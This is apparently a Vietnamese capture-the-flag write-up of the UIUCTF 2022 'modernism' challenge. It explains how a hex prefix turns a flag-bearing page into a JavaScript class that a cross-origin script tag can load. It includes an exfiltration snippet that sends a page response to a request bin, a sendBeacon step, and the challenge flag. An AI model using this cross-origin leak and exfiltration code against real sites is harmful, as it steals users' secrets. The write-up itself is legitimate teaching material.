The Art of Cross-origin resource sharing (CORS) in UIUCTF 2022

The Art of Cross-origin resource sharing (CORS) in UIUCTF 2022

TLDR:

Trong quá trình pentest và làm report, nếu gặp các CWE liên quan đến CORS (cross-origin resource sharing) như CWE-942 thì y như rằng mình sẽ "vứt nó vào sọt rác" hoặc cùng lắm là PoC "cho có lệ": nhét header Origin: http://attacker.com vào request sau đó gửi đi, nếu response trả về có header Access-Control-Allow-Origin: * thì chụp ảnh lại cho vào report. Các trình duyệt ngày này đã có những quy định chặt chẽ về CORS khiến việc khai thác trở nên khó khăn hơn nếu không muốn nói là "impossible". Thật bất ngờ khi lại UIUCTF 2022 lại đưa CORS vào các web challenge, và sau khi giải xong những "CORS challenge" này mình cảm thấy "trời đất thật là điên rồ". Cảm ơn tác giả @arxenix đã tạo ra những web challenge cực kì độc đáo và nó khiến mình thay đổi quan niệm về CORS.

modernism

Đề bài:

[+] Source

1. Initial reconnaissance:

Trước hết ta check Dockerfile của challenge này.

FROM python:3.9-slim
RUN pip3 install flask gunicorn
WORKDIR /app
COPY app.py ./
EXPOSE 1337
CMD mount -t tmpfs none /tmp && python3 /app/app.py

Cũng không có gì đặc biệt lắm, nó chỉ cho biết web app này sử dụng framework là Flask. Check tiếp file app.py:

from flask import Flask, Response, request
app = Flask(__name__)

@app.route('/')
def index():
    prefix = bytes.fromhex(request.args.get("p", default="", type=str))
    flag = request.cookies.get("FLAG", default="uiuctf{FAKEFLAG}").encode() #^uiuctf{[A-Za-z]+}$ 
    return Response(prefix+flag, mimetype="text/plain")
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337, threaded=True)

File app.py cho ta biết flag được lấy ra từ một cookie có tên là FLAG, sau đó được in ra ở trang index của web app.

Nếu cookie FLAG không tồn tại, trang index sẽ trả về giá trị mặc định là uiuctf{FAKEFLAG}. Response của trang index này không chỉ có flag mà là prefix+flag. Biến prefix được lấy từ một url parameter là p. Thử p=abc thì gặp lỗi server:

Lỗi server này là do abc là một string, không phải là một chuỗi hex.

Nếu đổi lại thành một chuỗi hex như trên thì ta có được response như sau:

Bên cạnh đó challenge này còn cung cấp một con admin bot để ta netcat vào và nhập vào một URL. Ban đầu mình tưởng rằng con bot này sẽ load nội dung của website ứng với URL nhập vào, nhưng thực tế thì:

Để biết tại sao nó lại timeout như vậy, ta sẽ xem source của con admin bot. Con bot này bản chất là một headless browser, được viết bằng Playwright, một thư viện tự động hóa web và các hành vi của người dùng web trên trình duyệt. Trình duyệt mà nó dùng để mô phỏng là Chromium, và các hành vi nó mô phỏng bao gồm bật Chromium lên (const browser = await chromium.launch), mở một tab mới và nhét vào tab đó 2 cookie, một dành cho domain precisionism-web.chal.uiuc.tf và một dành cho precisionism-web.chal.uiuc.tf:

const context = await browser.newContext({
      storageState: {
        cookies: [{
          name: "FLAG",
          value: FLAG1,
          domain: "precisionism-web.chal.uiuc.tf",
          path: "/",
          httpOnly: true,
          secure: true,
          sameSite: "None"
        },
        {
          name: "FLAG",
          value: FLAG2,
          domain: "modernism-web.chal.uiuc.tf",
          path: "/",
          httpOnly: true,
          secure: true,
          sameSite: "None"
        }]
      }
    });

Cả 2 cookie này đều được đặt flag là HTTPOnlySecure, do đó ý tưởng "XSS rồi lấy cookie" là bất khả thi. Tuy nhiên, như đã phân tích ở file app.py thì giá trị của cookie hay chính là flag sẽ được in ra trên trang index của website. Website được tạo ra bởi con admin bot này có cùng domain với website mà ta truy cập lúc nãy (modernism-web.chal.uiuc.tf), chỉ khác là của nó có flag thật còn của chúng ta thì không. Ta còn biết được con admin bot này luôn luôn "timeout" khi nhập vào bất cứ URL là vì nó chỉ điều hướng đến website được chỉ định, delay 1 khoảng 10 giây, in ra "timeout" rồi hủy socket luôn chứ không có socket.write(<response của website được chỉ định>):

const page = await context.newPage();
    socket.write(`Loading page ${url}.\n`);
    await page.goto(url);
    setTimeout(() => {
      try {
        page.close();
        socket.write('timeout\n');
        socket.destroy();
      } catch (err) {
        console.log(`err: ${err}`);
      }
    }, 10000);

Chuyển sang ý tưởng khai thác bằng CORS, ta sẽ thử dùng codesandbox để host một "attacker domain" sử dụng XMLHttpRequest để gọi đến domain https://modernism-web.chal.uiuc.tf/ và lấy toàn bộ response của nó (vì trong response chứa flag), sau đó gửi về một "request bin".

<script>
      var req = new XMLHttpRequest();
      req.onload = reqListener;
      req.open("get", "https://modernism-web.chal.uiuc.tf/", true);
      req.send();
      console.log(this.responseText);
      function reqListener() {
        location =
          "https://<requestbin>/?res=" + this.responseText;
      }
    </script>

Tuy nhiên ý tưởng này thất bại bởi vì Chromium mặc định sẽ bật mode security lên, và trong mode security này có một tính năng gọi là CORS Policy sẽ chặn việc sử dụng XMLHttpRequest để thực hiện các cross-origin HTTP request:

Mặc dù vậy, CORS policy lại không áp dụng đối với các attribute src. Ví dụ với attribute src của script tag, ta có thể lấy một file javascript đến từ origin https://modernism-web.chal.uiuc.tf truyền vào attribute src của script tag thuộc origin X nào đó (chính là của attacker):

<script src="https://modernism-web.chal.uiuc.tf/?p=<hex numbers>"></script>

Điều đó đồng nghĩa rằng ta sẽ coi toàn bộ trang index của web app modernism như một file javascript. Mà response của trang index = prefix + flag với prefix = url parameter "p" như đã phân tích ở app.py. Xét thấy ta chỉ có thể url parameter "p", như vậy bài toán cần giải quyết sẽ là:

Cho flag=uiuctf{fakeflag}, truyền vào url parameter "p" một dãy hex sao cho trang index đã cho trở thành một file javascript.

2. Debug and analyze:

Để index trở thành một file javascript, biến prefix cần phải là một keyword trong javascript. Keyword đầu tiên được mình nghĩ đến là class vì nó dùng để tạo một class trong javascript.

a) Public class fields in Javascript:

Trong một javascript class thì có rất nhiều thành phần như constructor, field, method,... nhưng thành phần mà ta đang tìm phải không cần đặt keyword phía trước nhưng vẫn có thể khai báo được. Như vậy chỉ có một public class field là phù hợp.

Thử demo một class có tên là dog với public class field là weightheight.

Đặc biệt, ta có thể dùng hàm getOwnPropertyNames để lấy ra một list các public class field có trong class dog.

b) Create a Javascript class having a undefined public field with parameter "p" and fake flag given:

Áp dụng những gì đã demo ở mục a, ta có 636c61737320 là đoạn hex tương ứng với string class. Lúc này https://modernism-web.chal.uiuc.tf/?p=636c61737320 sẽ là một file javascript, trong đó có một class tên là uiuctf với 1 public class field duy nhất là FAKEFLAG. Có người cho rằng sau FAKEFLAG không có dấu = kèm một giá trị để khai báo public class field thì khi javascript biên dịch sẽ bị lỗi, nhưng thực tế thì:

Public class field FAKEFLAG sẽ nhận giá trị mặc định là undefined, do đó chúng ta vẫn có thể dùng hàm getOwnPropertyNames và lấy ra list các field trong class uiuctf như ở mục a, và đây chính là nội dung của flag.

3. Exploit and get flag:

Để khai thác thì ta cần một con VPS với "attacker domain" chứa script lấy flag. Thông qua <script src="https://modernism-web.chal.uiuc.tf/?p=636c61737320"></script> VPS của ta sẽ lấy class uiuctf{<nội dung của flag>} sau đó thực hiện các bước mà mình đã demo ở mục b phần 2 để lấy nội dung của flag.

Tất nhiên là ta phải dùng con admin bot để truy cập vào "attacker domain" vì chỉ có web app modernism được chạy bên trong nó mới có flag.

Cuối cùng là navigator.sendBeacon(<requestbin's url>,flag) sẽ gửi flag về request bin.

Flag: uiuctf{IqMDsheILiVLOcCOlllJdvjadLrmCjvFEQ}